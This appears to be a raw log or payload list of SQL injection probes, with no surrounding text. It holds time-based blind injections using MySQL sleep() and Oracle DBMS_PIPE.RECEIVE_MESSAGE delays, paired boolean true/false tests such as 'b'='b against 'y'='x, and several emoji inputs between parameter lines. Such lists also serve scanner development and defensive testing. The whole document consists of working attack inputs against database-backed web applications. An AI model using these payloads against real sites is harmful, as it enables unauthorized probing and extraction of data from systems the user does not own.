(select*from(select+sleep(2)union/**/select+1)a)

@1 1

(select*from(select+sleep(0)union/**/select+1)a)

@1 1

1"and"u"="y

@1 1

1"and"x"="x

@1 1

1'and'y'='x

@1 1

1'and'b'='b

@1 1

1/**/and+1=8

@1 1

1/**/and+1=1

@1 1

1

@1 1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',2)='d

1

@1 1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q

1

1😀

1

1😀

1

1😀

1

1😀

1

1😀